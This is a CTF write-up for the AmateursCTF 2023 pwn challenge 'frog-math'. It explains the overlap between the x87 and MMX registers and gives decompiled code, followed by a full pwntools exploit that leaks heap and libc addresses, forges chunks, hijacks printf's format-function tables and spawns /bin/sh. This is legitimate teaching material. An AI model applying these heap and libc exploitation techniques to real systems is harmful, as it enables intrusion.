ʕ·ᴥ·ʔ






frog-math

07/18/2023

By: unvariant

Tags: pwn AmateursCTF-2023

Problem Description:

Hints:

Reveal Hints None

Provided Files

  • chal
  • Dockerfile

Intended

To save space in the cpu die, Intel processors overlap the legacy x87 and mmx register files so that they refer to the same underlying register file. This means that accesses to the mmx registers modify the st(n) registers and vice versa. The exact details of the nasty little intricacies are documented here.

mm0 mm1 mm2 mm3 mm4 mm5 mm6 mm7
st0 st1 st2 st3 st4 st5 st6 st7

decompiled main

00001b62  int32_t main(int32_t argc, char** argv, char** envp) __noreturn
00001b77      void* fsbase
00001b77      int64_t var_10 = *(fsbase + 0x28)
00001b8c      setbuf(fp: stdout, buf: nullptr)
00001ba0      setbuf(fp: stderr, buf: nullptr)
00001bc1      std::streambuf::pubsetbuf(this: std::ios::rdbuf(this: &data_4088), __s: nullptr, __n: 0)
00001be2      std::streambuf::pubsetbuf(this: std::ios::rdbuf(this: &data_41d0), __s: nullptr, __n: 0)
00001be7      int80_t st7
00001be7      st7.q = 0
00001bf4      puts(str: "Welcome to the frog math calcula…")
00001c03      puts(str: "Here we provide state of the art…")
00001c12      while (true) {
00001c12          puts(str: "0) exit")
00001c21          puts(str: "1) floating point")
00001c30          puts(str: "2) integer")
00001c44          printf(format: &data_2056)
00001c5a          int32_t var_14
00001c5a          std::istream::operator>>(this: &std::cin, __n: &var_14)
00001c5f          int32_t rax_4 = var_14
00001c65          if (rax_4 == 2) {
00001c88              int64_t x87_r0
00001c88              int64_t x87_r1
00001c88              int64_t x87_r2
00001c88              int64_t x87_r3
00001c88              int64_t x87_r4
00001c88              int64_t x87_r5
00001c88              int64_t x87_r6
00001c88              int64_t* x87_r7
00001c88              do_mmx(x87_r0, x87_r1, x87_r2, x87_r3, x87_r4, x87_r5, x87_r6, x87_r7)
00001c88          } else {
00001c6e              if (rax_4 == 0) {
00001c6e                  break
00001c6e              }
00001c73              if (rax_4 == 1) {
00001c81                  do_x87()
00001c81              }
00001c73          }
00001c73      }
00001c7c      exit(status: 0)
00001c7c      noreturn

Looking at main, it gives us a few options.

  • exit
  • floating_point which calls do_x87
  • integer which calls do_mmx

decompiled do_mmx

000016b0  int64_t do_mmx(int64_t arg1 @ st0, int64_t arg2 @ st1, int64_t arg3 @ st2, int64_t arg4 @ st3, int64_t arg5 @ st4, 
000016b0      int64_t arg6 @ st5, int64_t arg7 @ st6, int64_t* arg8 @ st7)
000016bd      void* fsbase
000016bd      int64_t rax = *(fsbase + 0x28)
000016d6      while (true) {
000016d6          puts(str: "integer processor")
000016e5          puts(str: "0) finish")
000016f4          puts(str: "1) set")
00001703          puts(str: "2) get")
00001712          puts(str: "3) add")
00001721          puts(str: "4) sub")
00001730          puts(str: "5) mul")
0000173f          puts(str: "6) div")
0000174e          puts(str: "7) load")
0000175d          puts(str: "8) save")
0000176c          puts(str: "9) clear")
00001780          // -- snip --

Binja actually recognizes that accessing mmx registers also accesses to floating point st(n) registers and simply marks the arguments using the st(n) registers instead of the mmx registers. do_mmx allows us to perform various arithmetic operations on the mmx registers, but the interesting part is load and save:

000019c0                  case 7
000019c0                      if (arg8 == 0) {
00001a6c                          puts(str: "no state to load")
00001a71                          continue
00001a71                      } else {
000019d5                          arg1 = *arg8
000019e9                          arg2 = arg8[1]
000019fd                          arg3 = arg8[2]
00001a11                          arg4 = arg8[3]
00001a25                          arg5 = arg8[4]
00001a39                          arg6 = arg8[5]
00001a4d                          arg7 = arg8[6]
00001a55                          free(mem: arg8)
00001a5a                          arg8 = nullptr
00001a5d                          continue
00001a5d                      }
00001a7f                  case 8
00001a7f                      if (arg8 == 0) {
00001a8f                          arg8 = malloc(bytes: 0x38)
00001a81                      }
00001aa3                      *arg8 = arg1
00001aae                      arg8[1] = arg2
00001ac5                      arg8[2] = arg3
00001adc                      arg8[3] = arg4
00001af3                      arg8[4] = arg5
00001b0a                      arg8[5] = arg6
00001b21                      arg8[6] = arg7
00001b30                      continue

The do_mmx function expects the state to be stored in mm7 (arg8), and the save function will write mm0-mm6 into mm7 if mm7 is not NULL. load will set mm0-mm6 using mm7 and free mm7 afterwards.

do_x87 allows us to view and modify the st(n) registers:

00001367  int64_t do_x87()
00001376      void* fsbase
00001376      int64_t rax = *(fsbase + 0x28)
00001392      while (true) {
00001392          puts(str: "fp processing")
000013a1          puts(str: "0) finish")
000013b0          puts(str: "1) push")
000013bf          puts(str: "2) pop")
000013ce          puts(str: "3) add")
000013dd          puts(str: "4) sub")
000013ec          puts(str: "5) mul")
000013fb          puts(str: "6) div")
0000140a          puts(str: "7) inspect")
00001367  int64_t do_x87()
00001367  f30f1efa           endbr64 
0000136b  55                 push    rbp {__saved_rbp}
0000136c  4889e5             mov     rbp, rsp {__saved_rbp}
0000136f  4881ec30020000     sub     rsp, 0x230
00001376  64488b0425280000…  mov     rax, qword [fs:0x28]
0000137f  488945f8           mov     qword [rbp-0x8 {var_10}], rax
00001383  31c0               xor     eax, eax  {0x0}
00001385  0f77               emms    

The emms instruction resets the fp stack to point to st7 and marks all the stack positions as empty. Since the top of the fp stack points to mm7 so we can use that to leak whatever is stored in mm7.

Solution

from pwn import *
from subprocess import run

libc = ELF("./libc.so.6")

def convert(n):
    return run(["./convert", str(n)], capture_output=True).stdout

def setsave(n):
    global p
    p.sendlineafter(b"2) integer\n> ", b"1")
    p.sendlineafter(b"> ", b"1")
    conv = convert(n).strip()
    print(f"[+] sending {conv}")
    p.sendline(conv)
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"> ", b"0")
    p.recvuntil(b"2) integer\n")

if args.HOST and args.PORT:
    p = remote(args.HOST, args.PORT)
else:
    p = process("../chal/chal", cwd="../chal")
if args.GDB:
    context.terminal = ["kitty"]
    gdb.attach(p)

p.sendlineafter(b"> ", b"1")
for _ in range(7):
    p.sendlineafter(b"> ", b"1")
    p.sendline(b"0.0")
p.sendlineafter(b"> ", b"0")

p.sendlineafter(b"> ", b"2")
for i, n in enumerate([0, 0, 0, 0, 0, 0x41]):
    p.sendlineafter(b"> ", b"1")
    p.sendline(str(i).encode())
    p.sendline(str(n).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

p.sendlineafter(b"> ", b"1")
for _ in range(7):
    p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"7")
# leak
p.recvuntil(b"-nan ")
leak = int(p.readline())
print(f"[+] leak: {leak:x}")
p.sendlineafter(b"> ", b"0")

heap = leak - 0x12f10
print(f"[+] heap: {heap:x}")

for i in range(15):
    setsave(0)
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"> ", b"8")
    p.sendlineafter(b"> ", b"0")

fake = [0, 0x91] + [0] * 16 + [0, 0x91] + [0] * 16 + [0, 0x91]
for i, n in enumerate(fake):
    if n == 0:
        continue
    setsave(heap + 0x12f10 + i * 8)
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"> ", b"1")
    p.sendline(b"0")
    p.sendline(str(n).encode())
    p.sendlineafter(b"> ", b"8")
    p.sendlineafter(b"> ", b"0")

setsave(heap + 0x10)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"1")
p.sendline(str(0x0007000000000000).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

victim = heap + 0x12f10 + 20 * 8
print(f"[+] victim: {victim:x}")
setsave(victim)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"7")
p.sendlineafter(b"> ", b"0")

setsave(heap + 0x12f10 + 0x40 * 2)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"7")

p.sendlineafter(b"> ", b"2")
p.sendline(b"5")
leak = int(p.readline())
base = leak - 0x219ce0

print(f"[+] leak: {leak:x}")
print(f"[+] base: {base:x}")

p.sendlineafter(b"> ", b"0")

arginfo = 0x21a8b0
functions = 0x21b9c8

setsave(base + arginfo)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"0")
p.sendline(str(heap + 0x12f10).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

setsave(heap + 0x12f10 + ord('f') * 8)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"0")
p.sendline(str(base + libc.symbols["gets"]).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

setsave(heap + 0x12f10 + ord('u') * 8)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"0")
p.sendline(str(base + 0x53b56).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

setsave(heap + 0x12f10)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"0")
p.sendline(str(u64(b"/bin/sh\x00")).encode())
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

setsave(base + functions)
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", b"1")
p.sendline(b"0")
p.sendline(b"1")
p.sendlineafter(b"> ", b"8")
p.sendlineafter(b"> ", b"0")

p.sendlineafter(b"> ", b"1")
ctx = [0 for _ in range(32)]
ctx[0xa8//8] = base + libc.symbols["system"]
ctx[0x68//8] = heap + 0x12f10
attack = b"7" + b"A" * 124 + flat(ctx, word_size=64)
p.sendlineafter(b"> ", attack)

p.interactive()

Unintendeds

Thankfully no unintendeds here.